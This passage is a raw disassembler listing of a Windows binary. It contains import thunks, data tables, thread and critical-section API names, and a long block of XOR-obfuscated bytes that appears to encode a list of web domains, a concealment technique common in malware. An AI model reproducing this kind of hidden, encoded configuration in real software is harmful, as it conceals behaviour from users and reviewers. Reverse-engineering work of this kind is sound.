		jmp	dword ptr ds:100150C4h
sub_4233F5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h,	0C825FF00h, 90100150h, 90h, 0CC25FF00h,	90100150h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_423419	proc near		; CODE XREF: sub_418669+4Ep
					; sub_418669+87p
		jmp	dword ptr ds:100150D0h
sub_423419	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_423425	proc near		; CODE XREF: .data:00418593p
		jmp	dword ptr ds:100150D4h
sub_423425	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_423431	proc near		; CODE XREF: sub_4185D0+71p
					; sub_4185D0+86p
		jmp	dword ptr ds:100150D8h
sub_423431	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42343D	proc near		; CODE XREF: sub_418669+9Ep
		jmp	dword ptr ds:100150DCh
sub_42343D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h,	71h dup(0)
		dd 0BF3000h, 10h, 4 dup(0)
		dd 732500h, 72007700h, 1Ch dup(0)
		dd 300h, 600h, 200h, 500h, 400h, 2 dup(600h), 100h, 700h
		dd 800h, 300h, 900h, 200h, 700h, 0
		dd 2 dup(700h),	600h, 200h, 300h, 100h,	900h, 100h, 400h
		dd 100h, 2 dup(700h), 600h, 300h, 800h,	2 dup(600h), 500h
		dd 800h, 300h, 2 dup(500h), 600h, 900h,	800h, 300h, 800h
		dd 0
		dd 300h, 900h, 600h, 200h, 600h, 800h, 700h, 2 dup(900h)
		dd 100h, 400h, 0
		dd 100h, 200h, 700h, 400h, 500h, 400h, 200h, 2 dup(0)
		dd 200h, 900h, 200h, 600h, 300h, 700h, 200h, 500h, 700h
		dd 400h, 500h, 900h, 400h, 500h, 0
		dd 600h, 700h, 200h, 900h, 100h, 300h, 400h, 100h, 800h
		dd 300h, 400h, 300h, 2 dup(500h), 100h,	500h, 600h, 100h
		dd 900h, 500h, 800h, 400h, 500h, 300h, 700h, 600h, 400h
		dd 0
		dd 500h, 200h, 400h, 0
		dd 900h, 100h, 900h, 200h, 800h, 200h, 900h, 400h, 900h
		dd 400h, 100h, 200h, 2 dup(400h), 900h,	2 dup(600h), 0Bh dup(0)
		dd 149B200h, 0E86010h, 61000000h, 0E9h,	0
		dd 1100h, 0Fh dup(0)
		db    0
		db 0A5h, 0EEh, 0F7h
		db 0E1h	; 
		db 2Ch,	7Eh, 0FDh
		db 0BFh	; 
		db 7Fh,	0E8h, 9Ah
		db  86h	; 
		db 82h,	40h, 24h
		db 0CCh	; 
		db 0E2h, 0DDh, 6Ah
		db 0D7h	; 
		db 2 dup(0E1h),	77h
		db  1Bh
		db 0B0h, 15h, 52h
		db  50h	; P
		db 56h,	64h, 4Bh
		db 0D2h	; 
		db 6Bh,	7Ch, 35h
		db  3Dh	; =
		db 0D5h, 85h, 0Eh
		db  28h	; (
		db 0F9h, 51h, 0B0h
		db  1Ah
		db 44h,	87h, 4Eh
		db  1Eh
		db 0DFh, 0CCh, 83h
		db 0E3h	; 
		db 37h,	47h, 3Dh
		db  32h	; 2
		db 18h,	5, 0F8h
		db  14h
		db 0BFh, 37h, 6
		db  6Eh	; n
		align 10h
		db    0
		db 0D0h, 9Ch, 0
		db  10h
		db 4Bh,	7Fh, 0
		db  10h
		db 0BFh, 7Bh, 0
		db  10h
		db 0A7h, 51h, 0
		db  10h
		db 0EEh, 89h, 0
		db  10h
		db 94h,	92h, 0
		db  10h
		db 89h,	5Eh, 0
		db  10h
		align 10h
		db    0
		db 0B8h, 25h, 0
		db  10h
		db 0A1h, 25h, 0
		db  10h
		db 0C1h, 9Eh, 0
		db  10h
		db 7Fh,	5Ch, 0
		db  10h
		db 0BCh, 2Dh, 0
		db  10h
		db 6Bh,	50h, 0
		db  10h
		db 0E8h, 9Eh, 0
		db  10h
		db 74h,	33h, 1
		db  10h
		align 4
		db    0
		db 8Ch,	54h, 0
		db  10h
		db 0AFh, 51h, 0
		db  10h
		db 60h,	5Eh, 0
		db  10h
		db 43h,	7Fh, 0
		db  10h
		db 1Ah,	46h, 0
		db  10h
		db 33h,	26h, 0
		db  10h
		db 57h,	28h, 0
		db  10h
		db 98h,	33h, 1
		db  10h
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3Eh,	2 dup(0)
		db    0
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3Fh,	2 dup(0)
		db    0
		db 34h,	2 dup(0)
		db    0
		db 35h,	2 dup(0)
		db    0
		db 36h,	2 dup(0)
		db    0
		db 37h,	2 dup(0)
		db    0
		db 38h,	2 dup(0)
		db    0
		db 39h,	2 dup(0)
		db    0
		db 3Ah,	2 dup(0)
		db    0
		db 3Bh,	2 dup(0)
		db    0
		db 3Ch,	2 dup(0)
		db    0
		db 3Dh,	2 dup(0)
		db    0
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		align 4
		db    0
		db 1, 2	dup(0)
		db    0
		db 2, 2	dup(0)
		db    0
		db 3, 2	dup(0)
		db    0
		db 4, 2	dup(0)
		db    0
		db 5, 2	dup(0)
		db    0
		db 6, 2	dup(0)
		db    0
		db 7, 2	dup(0)
		db    0
		db 8, 2	dup(0)
		db    0
		db 9, 2	dup(0)
		db    0
		db 0Ah,	2 dup(0)
		db    0
		db 0Bh,	2 dup(0)
		db    0
		db 0Ch,	2 dup(0)
		db    0
		db 0Dh,	2 dup(0)
		db    0
		db 0Eh,	2 dup(0)
		db    0
		db 0Fh,	2 dup(0)
		db    0
		db 10h,	2 dup(0)
		db    0
		db 11h,	2 dup(0)
		db    0
		db 12h,	2 dup(0)
		db    0
		db 13h,	2 dup(0)
		db    0
		db 14h,	2 dup(0)
		db    0
		db 15h,	2 dup(0)
		db    0
		db 16h,	2 dup(0)
		db    0
		db 17h,	2 dup(0)
		db    0
		db 18h,	2 dup(0)
		db    0
		db 19h,	2 dup(0)
		db    0
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 1Ah,	2 dup(0)
		db    0
		db 1Bh,	2 dup(0)
		db    0
		db 1Ch,	2 dup(0)
		db    0
		db 1Dh,	2 dup(0)
		db    0
		db 1Eh,	2 dup(0)
		db    0
		db 1Fh,	2 dup(0)
		db    0
		db 20h,	2 dup(0)
		db    0
		db 21h,	2 dup(0)
		db    0
		db 22h,	2 dup(0)
		db    0
		db 23h,	2 dup(0)
		db    0
		db 24h,	2 dup(0)
		db    0
		db 25h,	2 dup(0)
		db    0
		db 26h,	2 dup(0)
		db    0
		db 27h,	2 dup(0)
		db    0
		db 28h,	2 dup(0)
		db    0
		db 29h,	2 dup(0)
		db    0
		db 2Ah,	2 dup(0)
		db    0
		db 2Bh,	2 dup(0)
		db    0
		db 2Ch,	2 dup(0)
		db    0
		db 2Dh,	2 dup(0)
		db    0
		db 2Eh,	2 dup(0)
		db    0
		db 2Fh,	2 dup(0)
		db    0
		db 30h,	2 dup(0)
		db    0
		db 31h,	2 dup(0)
		db    0
		db 32h,	2 dup(0)
		db    0
		db 33h,	2 dup(0)
		db    0
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 0BFh, 13h, 0
		db  10h
		db 0C7h, 13h, 0
		db  10h
		db 0Dh,	14h, 0
		db  10h
		db 4Bh,	14h, 0
		db  10h
aCreatethread_1	db 'CreateThread',0
aEntercritica_0	db 'EnterCriticalSection',0
aInitializecr_0	db 'InitializeCriticalSection',0
aLeavecritica_0	db 'LeaveCriticalSection',0
		align 4
		db    0
		db 5, 0, 0D4h
		db 0FAh	; 
aA		db '',0
		dw 4
		db 0F2h	; 
aUb		db 'ܜ',0
		dw 1
		db  9Ch	; 
		db 0C0h, 0, 12h
		db    0
		db 8Fh,	0DCh, 0E9h
		db 0ECh	; 
		db 0C6h, 0FCh, 0C9h
		db 0E6h	; 
		db 0E3h, 0EAh, 0DFh
		db 0FDh	; 
		db 0E0h, 0FBh, 0EAh
		db 0ECh	; 
		db 0FBh, 0EAh, 0EBh
		db    0
		db 7, 0, 8Bh
		db 0F8h	; 
aAseqcc		db '',0
		db 7,0
aVM		db '',0
		db 4
		db    0
aS?		db 'S}=? ',0
		db 1
		db    0
		db 0CBh, 97h, 0
		db    4
		align 2
aQt_c		db 'qT_C)',0
		db    1
		align 2
		dw 89ACh
		db    0
		db 2, 0, 65h
		db  40h	; @
		db 6, 0, 1
		db    0
		db 4Ch,	6Fh, 0
		db    1
		align 2
		dw 0F3D0h
		db    0
		db 1, 0, 0FAh
		db 0D9h	; 
		align 2
		dw 7
aSixxs		db 'ቕ',0
		db 1, 0, 0BCh
		db  9Fh	; 
		align 2
		dw 7
aC773yll	db 'C+773yll',0
		db 2Bh,	4, 96h
		db 0F5h	; 
		db 0FEh, 0F3h, 0F5h
		db 0FEh	; 
		db 0F3h, 0F8h, 0E6h
		db 0E4h	; 
		db 0F3h, 2 dup(0E5h)
		db 0B8h	; 
		db 0FFh, 0F8h, 0F0h
		db 0F9h	; 
		db 0B5h, 0F1h, 0F9h
		db 0FAh	; 
		db 0F2h, 0E6h, 0F9h
		db 0FAh	; 
		db 0FAh, 0B8h, 0F5h
		db 0F9h	; 
		db 0FBh, 0B5h, 0FFh
		db 0F8h	; 
		db 0E2h, 0F1h, 0F9h
		db 0FAh	; 
		db 0F2h, 0B8h, 0F5h
		db 0F9h	; 
		db 0FBh, 0B5h, 0E1h
		db 0E1h	; 
		db 0E1h, 0B8h, 0F5h
		db 0F4h	; 
		db 0E4h, 0B8h, 0E4h
		db 0E3h	; 
		db 0B5h, 2 dup(0E1h)
		db 0E1h	; 
		db 0B8h, 0E5h, 0F9h
		db 0F5h	; 
		db 0FDh, 0E5h, 0B8h
		db 0F7h	; 
		db 0F5h, 0B5h, 0E5h
		db 0E2h	; 
		db 0F9h, 0E4h, 0FBh
		db 0E6h	; 
		db 0F7h, 0EFh, 0B8h
		db 0F5h	; 
		db 0F9h, 0FBh, 0B5h
		db 0F5h	; 
		db 0E4h, 0E3h, 0E2h
		db 0F9h	; 
		db 0E6h, 0B8h, 0F8h
		db 0E3h	; 
		db 0B5h, 0F8h, 0F3h
		db 0E1h	; 
		db 0B8h, 0F3h, 0F1h
		db 0F1h	; 
		db 0B8h, 0F5h, 0F9h
		db 0FBh	; 
		db 0B5h, 2 dup(0E1h)
		db 0E1h	; 
		db 0B8h, 0E6h, 0F9h
		db 0F8h	; 
		db 0ECh, 0FFh, 0E5h
		db 0F5h	; 
		db 0F7h, 0FBh, 0E5h
		db 0B8h	; 
		db 0F5h, 0F9h, 0FBh
		db 0B5h	; 
		db 0E1h, 0F3h, 0FAh
		db 0F5h	; 
		db 0F9h, 0FBh, 0F3h
		db 0A5h	; 
		db 0B8h, 0E5h, 0FBh
		db 0FFh
		db 0FAh, 0F3h, 0B8h
		db 0F5h	; 
		db 0F9h, 0B8h, 0E3h
		db 0FDh	; 
		db 0B5h, 0F9h, 0FAh
		db 0F4h	; 
		db 0A4h, 0B8h, 0F8h
		db 0F7h	; 
		db 0E2h, 0FFh, 0F9h
		db 0F8h	; 
		db 0F3h, 0E2h, 0B8h
		db 0F5h	; 
		db 0F9h, 0FBh, 0B5h
		db 0E1h	; 
		db 2 dup(0E1h),	0B8h
		db 0F4h	; 
		db 0F4h, 0FFh, 0F8h
		db 0B8h	; 
		db 0E4h, 0E3h, 0B5h
		db 0FBh	; 
		db 0F7h, 0E5h, 0E2h
		db 0F3h	; 
		db 0E4h, 0BBh, 0EEh
		db 0B8h	; 
		db 0F5h, 0F9h, 0FBh
		db 0B5h	; 
		db 3 dup(0E1h)
		db 0B8h	; 
		db 0E6h, 0F9h, 0F8h
		db 0ECh	; 
		db 0FFh, 0E5h, 0F5h
		db 0F7h	; 
		db 0FBh, 0E5h, 0B8h
		db 0F5h	; 
		db 0F9h, 0FBh, 0B5h
		db 0E1h	; 
		db 2 dup(0E1h),	0B8h
		db 0F4h	; 
		db 0F7h, 0F8h, 0FDh
		db 0BBh	; 
		db 0F4h, 0F7h, 0F8h
		db 0E7h	; 
		db 0E3h, 0F3h, 0BBh
		db 0F5h	; 
		db 0F7h, 0F8h, 0F7h
		db 0F2h	; 
		db 0F7h, 0B8h, 0F5h
		db 0F7h	; 
		db 0B5h, 2 dup(0E1h)
		db 0E1h	; 
		db 0B8h, 0E6h, 0F9h
		db 0F8h	; 
		db 0ECh, 0FFh, 0E5h
		db 0F5h	; 
		db 0F7h, 0FBh, 0E5h
		db 0B8h	; 
		db 0F5h, 0F9h, 0FBh
		db 0B5h	; 
		db 3 dup(0E1h)
		db 0B8h	; 
		db 0F4h, 0FBh, 0F9h
		db 0B8h	; 
		db 0F5h, 0F9h, 0FBh
		db 0B5h	; 
		db 0E6h, 0F7h, 0EFh
		db 0E6h	; 
		db 0F7h, 0FAh, 0B8h
		db 0F5h	; 
		db 0F9h, 0FBh, 0B5h
		db 0F3h	; 
		db 0F4h, 0F7h, 0EFh
		db 0B8h	; 
		db 0F5h, 0F9h, 0FBh
		db 0B5h	; 
		db 3 dup(0E1h)
		db 0B8h	; 
		db 0F4h, 0F7h, 0F8h
		db 0FDh	; 
		db 0F9h, 0F0h, 0FBh
		db 0F7h	; 
		db 0F2h, 0E3h, 0E4h
		db 0F7h	; 
		db 0B8h, 0F5h, 0F9h
		db 0FBh	; 
		db 0B5h, 2 dup(0E1h)
		db 0E1h	; 
		db 0B8h, 0F5h, 0FFh
		db 0F4h	; 
		db 0F5h, 0B8h, 0F5h
		db 0F9h	; 
		db 0FBh, 0B5h, 0E1h
		db 0E1h	; 
		db 0E1h, 0B8h, 0E0h
		db 0E2h	; 
		db 0F4h, 0B8h, 0E4h
		db 0E3h	; 
		db 0B5h, 2 dup(0E1h)
		db 0E1h	; 
		db 0B8h, 0F5h, 0E1h
		db 0F4h	; 
		db 0F7h, 0F8h, 0FDh
		db 0B8h	; 
		db 0F5h, 0F9h, 0FBh
		db 0B5h	; 
		db 0F1h, 0F9h, 0FAh
		db 0F2h	; 
		db 0E6h, 0F9h, 0FAh
		db 0FAh	; 
		db 0B8h, 0F5h, 0F9h
		db 0FBh	; 
		db 0B5h, 2 dup(0E1h)
		db 0E1h	; 
		db 0B8h, 0E6h, 0F9h
		db 0F8h	; 
		db 0ECh, 0FFh, 0E5h
		db 0F5h	; 
		db 0F7h, 0FBh, 0E5h
		db 0B8h	; 
		db 0F5h, 0F9h, 0FBh
		db 0B5h	; 
		db 3 dup(0E1h)
		db 0B8h	; 
		db 2 dup(0FBh),	0F4h
		db 0F7h	; 
		db 0F8h, 0FDh, 0B8h
		db 0E4h	; 
		db 0E3h, 0B5h, 0E1h
		db 0E1h	; 
		db 0E1h, 0B8h, 0E3h
		db 0F8h	; 
		db 0FFh, 0F7h, 0E5h
		db 0E2h	; 
		db 0E4h, 0E3h, 0FBh
		db 0B8h	; 
		db 0E4h, 0E3h, 0B5h
		db 0F1h	; 
		db 0F9h, 0FAh, 0F2h
		db 0E6h	; 
		db 0F9h, 2 dup(0FAh)
		db 0B8h	; 
		db 0F5h, 0F9h, 0FBh
		db 0B5h	; 
		db 3 dup(0E1h)
		db 0B8h	; 
		db 0E6h, 0F9h, 0F8h
		db 0ECh	; 
		db 0FFh, 0E5h, 0F5h
		db 0F7h	; 
		db 0FBh, 0E5h, 0B8h
		db 0F5h	; 
		db 0F9h, 0FBh, 0B5h
		db 0E1h	; 
		db 2 dup(0E1h),	0B8h
		db 0E1h	; 
		db 0F9h, 0E4h, 0FAh
		db 0F2h	; 
		db 0F4h, 0F7h, 0F8h
		db 0FDh	; 
		db 0B8h, 0F9h, 0E4h
		db 0F1h	; 
		db 0B5h, 2 dup(0E1h)
		db 0E1h	; 
		db 0B8h, 0F5h, 0F7h
		db 0F8h	; 
		db 0F2h, 0FFh, 0F2h
		db 0F7h	; 
		db 0E2h, 0F3h, 0E0h
		db 0F3h	; 
		db 0E4h, 0FFh, 0F0h
		db 0FFh
		db 0F3h, 0E4h, 0B8h
		db 0F5h	; 
		db 0F9h, 0FBh, 0B5h
		db 0E1h	; 
		db 2 dup(0E1h),	0B8h
		db 0E6h	; 
		db 0F9h, 0F8h, 0ECh
		db 0FFh
		db 0E5h, 0F5h, 0F7h
		db 0FBh	; 
		db 0E5h, 0B8h, 0F5h
		db 0F9h	; 
		db 0FBh, 0B5h, 0E1h
		db 0E1h	; 
		db 0E1h, 0B8h, 0F4h
		db 0F7h	; 
		db 0F8h, 0FDh, 0F9h
		db 0F0h	; 
		db 0FFh, 0F8h, 0F2h
		db 0FFh
		db 0F7h, 0B8h, 0F5h
		db 0F9h	; 
		db 0FBh, 0B5h, 0E1h
		db 0E1h	; 
		db 0E1h, 0B8h, 0FFh
		db 0F5h	; 
		db 0F4h, 0F7h, 0F8h
		db 0FDh	; 
		db 0B8h, 0E4h, 0E3h
		db 0B5h	; 
		db 0F4h, 0F7h, 0F8h
		db 0FDh	; 
		db 0FFh, 0F8h, 0F1h
		db 0B8h	; 
		db 0FEh, 0F7h, 0FAh
		db 0FFh
		db 0F0h, 0F7h, 0EEh
		db 0BBh	; 
		db 0F9h, 0F8h, 0FAh
		db 0FFh
		db 0F8h, 0F3h, 0B8h
		db 0F5h	; 
		db 0F9h, 0B8h, 0E3h
		db 0FDh	; 
		db 0B5h, 2 dup(0E1h)
		db 0E1h	; 
		db 0B8h, 0E0h, 0F3h
		db 0F8h	; 
		db 0F2h, 0F9h, 0E4h
		db 0E5h	; 
		db 0F8h, 0F7h, 0FBh
		db 0F3h	; 
		db 0B8h, 0E1h, 0E5h
		db 0B5h	; 
		db 3 dup(0E1h)
		db 0B8h	; 
		db 0FDh, 0FBh, 0F4h
		db 0B8h	; 
		db 0E4h, 0E3h, 0B5h
		db 0E1h	; 
		db 2 dup(0E1h),	0B8h
		db 0F8h	; 
		db 0F3h, 0E2h, 0FBh
		db 0F7h	; 
		db 0F1h, 0FFh, 0E5h
		db 0E2h	; 
		db 0F3h, 0E4h, 0B8h
		db 0F5h	; 
		db 0F9h, 0FBh, 0B5h
		db 0FDh	; 
		db 0F7h, 0E0h, 0FDh
		db 0F7h	; 
		db 0ECh, 0F5h, 0F3h
		db 0F8h	; 
		db 0E2h, 0F3h, 0E4h
		db 0B8h	; 
		db 0F5h, 0F9h, 0FBh
		db 0B5h	; 
		db 3 dup(0E1h)
		db 0B8h	; 
		db 0E0h, 0F3h, 0F8h
		db 0F2h	; 
		db 0F9h, 0E4h, 0E5h
		db 0F8h	; 
		db 0F7h, 0FBh, 0F3h
		db 0B8h	; 
		db 0E1h, 0E5h, 0B5h
		db 0FBh	; 
		db 0EFh, 0F9h, 0F8h
		db 0FAh	; 
		db 0FFh, 0F8h, 0F3h
		db 0F7h	; 
		db 2 dup(0F5h),	0F9h
		db 0E3h	; 
		db 0F8h, 0E2h, 0E5h
		db 0A4h	; 
		db 0B8h, 0F7h, 0F4h
		db 0F4h	; 
		db 0F3h, 0EFh, 0F8h
		db 0F7h	; 
		db 0E2h, 0FFh, 0F9h
		db 0F8h	; 
		db 0F7h, 0FAh, 0B8h
		db 0F5h	; 
		db 0F9h, 0B8h, 0E3h
		db 0FDh	; 
		db 0B5h, 0F9h, 0F8h
		db 0FAh	; 
		db 0FFh, 0F8h, 0F3h
		db 0BBh	; 
		db 0F4h, 0E3h, 0E5h
		db 0FFh
		db 0F8h, 0F3h, 0E5h
		db 0E5h	; 
		db 0B8h, 2 dup(0FAh)
		db 0F9h	; 
		db 0EFh, 0F2h, 0E5h
		db 0E2h	; 
		db 0E5h, 0F4h, 0B8h
		db 0F5h	; 
		db 0F9h, 0B8h, 0E3h
		db 0FDh	; 
		db 0B5h, 2 dup(0E1h)
		db 0E1h	; 
		db 0B8h, 0F7h, 0FAh
		db 0FAh	; 
		db 0F7h, 0FEh, 0F7h
		db 0F4h	; 
		db 0F7h, 0F2h, 0F4h
		db 0F7h	; 
		db 0F8h, 0FDh, 0B8h
		db 0F5h	; 
		db 0F9h, 0FBh, 0B5h
		db 0E1h	; 
		db 2 dup(0E1h),	0B8h
		db 0E4h	; 
		db 0F4h, 0F5h, 0B8h
		db 0F5h	; 
		db 0F9h, 0FBh, 0B5h
		db 0E1h	; 
		db 2 dup(0E1h),	0B8h
		db 0E6h	; 
		db 0F9h, 0F8h, 0ECh
		db 0FFh
		db 0E5h, 0F5h, 0F7h
		db 0FBh	; 
		db 0E5h, 0B8h, 0F5h
		db 0F9h	; 
		db 0FBh, 0B5h, 0E1h
		db 0E1h	; 
		db 0E1h, 0A7h, 0B8h
		db 0FEh	; 
		db 0E5h, 0F4h, 0F5h
		db 0B8h	; 
		db 0F5h, 0F7h, 0B5h
		db 0FDh	; 
		db 0F1h, 0F4h, 0E4h
		db 0F3h	; 
		db 0FAh, 0F7h, 0EEh
		db 0F5h	; 
		db 0FAh, 0E3h, 0F4h
		db 0B8h	; 
		db 0E4h, 0E3h, 0B5h
		db 0EFh	; 
		db 0F7h, 0FBh, 0F4h
		db 0F9h	; 
		db 0B8h, 0F4h, 0FFh
		db 0ECh	; 
		db 0B5h, 0FDh, 0FFh
		db 0F2h	; 
		db 0F9h, 0E5h, 0BBh
		db 0F4h	; 
		db 0F7h, 0F8h, 0FDh
		db 0B8h	; 
		db 0E4h, 0E3h, 0B5h
		db 0E1h	; 
		db 2 dup(0E1h),	0B8h
		db 0FAh	; 
		db 0F4h, 0F5h, 0F2h
		db 0FFh
		db 0E4h, 0F3h, 0F5h
		db 0E2h	; 
